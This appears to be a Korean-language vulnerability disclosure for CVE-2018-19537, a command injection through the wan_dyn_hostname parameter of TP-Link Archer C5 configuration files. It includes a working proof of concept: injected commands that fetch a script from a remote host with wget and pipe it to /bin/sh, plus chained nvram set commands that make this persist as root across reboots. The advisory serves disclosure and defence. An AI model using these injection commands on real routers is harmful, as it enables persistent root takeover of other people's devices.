
CVE-2018-19537
TP-Link Archer C5 라우터의 모든 출시된 펌웨어 버전에 인증된 원격 코드 실행(RCE) 취약점이 존재합니다. 악의적으로 조작된 구성 파일을 업로드함으로써 공격자는 루트 권한으로 실행되는 OS 명령어를 주입할 수 있습니다.
Archer C5 라우터는 관리 사용자가 현재 구성 매개변수를 파일에 저장하고 파일에서 매개변수를 복원할 수 있도록 합니다. 이러한 매개변수는 사용자가 웹 GUI 내에서 설정하려고 할 때 적절히 검증되는 것처럼 보입니다. 그러나 구성 파일에서 설정할 때는 제대로 검증되지 않습니다. 특히, 업로드된 구성 파일 내 wan_dyn_hostname 1 <name> 매개변수를 통해 OS 명령어를 주입했습니다. 다른 매개변수도 취약할 수 있습니다.
유효한 구성 파일은 라우터 웹 GUI의 "Backup & Restore" 메뉴에서 다운로드할 수 있습니다. 다음 HTTP 요청은 라우터의 현재 구성 백업을 다운로드합니다:
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
응답에는 "config.bin" 파일이 포함되어 있으며, 이 파일이 우리가 변조할 구성 파일입니다.
구성 파일은 하드코딩된 키로 DES 암호화되어 난독화됩니다. 이 하드코딩된 키는 여러 TP-Link 제품에서 재사용되는 것으로 보입니다. 이 하드코딩된 키 값을 발견한 Matteo Croce에게 감사를 표합니다. http://teknoraver.net/software/hacks/tplink/
구성 파일을 암호화하고 복호화하기 위해 두 개의 간단한 파이썬 스크립트가 첨부되어 있습니다 – 각각 "binify.py"와 "unbinify.py"입니다. 복호화된 구성 파일은 다음과 같은 매개변수를 갖습니다:
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
다음과 같이 "wan_dyn_hostname" 매개변수에 악성 BusyBox 명령어를 추가하여 이 복호화된 구성 파일을 변조할 수 있습니다:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
그런 다음 새 악성 구성 파일을 암호화하여 웹 GUI를 통해 업로드합니다. 라우터는 자동으로 재부팅됩니다. 부팅 과정 초기에 httpd 프로그램이 실행될 때 악성 BusyBox 명령어가 실행됩니다. httpd의 관련 부분 의사 코드는 다음과 같습니다:
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// 네트워크 인터페이스 및 연결 설정 계속
이 익스플로잇에는 BusyBox를 사용해야 하는 제한 외에도 몇 가지 제한 사항이 있습니다. Dropbear SSH 서버와 telnetd는 무선 LAN에서 작동하지 않는 것으로 보이며, 호스트네임은 펌웨어에 의해 63자로 제한됩니다. 이 제한을 초과하면 다른 설정을 덮어쓰고 인터넷 접속이 중단됩니다. 또한 httpd는 실제로 네트워크 연결이 생기기 전에 system() 호출에서 반환되어야 하며(악용하는 system() 호출이 WAN IP를 요청하는 호출이므로), 루트 파일시스템은 읽기 전용입니다. 위 예시의 악성 명령어는 작동하지 않습니다. httpd는 아직 인터넷에 접속할 수 없기 때문에 wget URL에 실패하고, system() 호출에서 반환된 후 정상적으로 계속 작동합니다.
따라서 이 시점에서 읽기 전용 파일시스템에서 63자 BusyBox 명령어를 실행할 수 있지만, 프로그램이 명령어를 실행하기 전에 네트워크 연결 설정이 완료될 때까지 기다리게 할 간단한 방법은 없습니다. 몇 분간 sleep한 후 실행하도록 지시할 수 없습니다. 주입된 system() 호출이 블로킹되기 때문입니다.
그러나 할 수 있는 한 가지는 실행 이 시점에서 httpd의 다른 인스턴스를 시작하는 것입니다. 이 httpd 인스턴스도 이 system() 호출을 실행하므로 httpd 인스턴스를 계속 생성하는 루프에 빠지게 되지만, 부모 httpd 프로세스는 계속 실행되어 결국 네트워크 연결을 복원할 수 있습니다. 메모리 부족을 방지하기 위해 익스플로잇이 다운로드되었는지 확인하여 이 루프를 종료합니다.
위의 제한 사항 내에서 작업하여, wget으로 인터넷에서 파일을 가져와 /bin/sh로 바로 파이프하는 다음 셸 스크립트를 고안했습니다.
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
또는 한 줄로 축약하면:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
이 스크립트는 무려 89자이므로, 청크로 업로드해야 합니다. 하지만 어떻게? 명령어를 업로드하면 재부팅이 발생하고, 재부팅은 라우터의 상태를 초기화합니다. 우리는 자체 NVRAM 변수를 생성하고 이후 명령어에서 이를 참조하여 최종적으로 실행할 명령어를 빌드할 수 있다는 것을 깨달았습니다.
취약점을 사용하여 다음 명령어를 주입하고 익스플로잇을 구축했습니다:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
마지막으로 호스트네임을 다음과 같이 설정하여 익스플로잇을 트리거합니다:
; udhcpc; nvram get a | /bin/sh ;
라우터의 NVRAM에 저장된 이 스크립트는 부팅할 때마다 실행되며, 라우터는 정상적으로 계속 작동하는 것처럼 보입니다. 최종 결과는 라우터가 부팅할 때마다 인터넷에 연결하여 파일을 다운로드하고 루트로 실행한다는 것입니다.
앞서 보여드린 것처럼, 이 취약점은 라우터가 인터넷에 연결하여 페이로드를 가져와 루트 권한으로 실행하도록 악용될 수 있습니다. 따라서 장치의 기밀성, 무결성 및 가용성에 높은 영향을 미칩니다.
구성 파일의 wan_dyn_hostname 매개변수를 통해 명령어를 주입하는 과정은 간단합니다. 이 명령어의 제한을 우회하여 정상적인 라우터 기능을 방해하지 않고 임의의 페이로드를 실행하는 것은 중간 정도의 복잡성을 가집니다.
이 공격은 장치의 재부팅이 최소 한 번 필요하므로 중간 정도의 가시성을 가집니다. 우리의 POC는 5번의 연속 재부팅이 필요하지만, 장치를 공장 초기화할 때까지 지속됩니다.
이 취약점은 웹 관리 계정에 접근할 수 있는 모든 사람이 악용할 수 있습니다. 따라서 라우터의 기본 구성에서 기본 관리자 자격 증명 "admin:admin"을 사용하여 LAN/WLAN 연결을 통해 악용될 수 있습니다. 원격 관리가 활성화된 경우 인터넷을 통해 원격으로 악용될 수 있습니다. 원격 관리는 기본적으로 비활성화되어 있습니다.
이 취약점은 비교적 단순하여 이미 발견되고 악용되었을 가능성이 높다고 생각합니다. 이 공격에 대한 방어도 매우 간단합니다. 기본 관리자 비밀번호를 사용하지 않으면 됩니다. 웹 관리 계정에 강력한 비밀번호를 사용하면 이 공격을 방지할 수 있습니다. 악용이 매우 쉽고 완화도 매우 쉽기 때문에 전체 공개가 대중의 이익에 부합한다고 생각합니다.
PoC의 경우 "wan_dyn_hostname" 매개변수를 통해 주입했습니다. 그러나 구성 파일에는 총 1190개의 매개변수가 있으며, 그중 상당수가 주입 가능할 수 있습니다.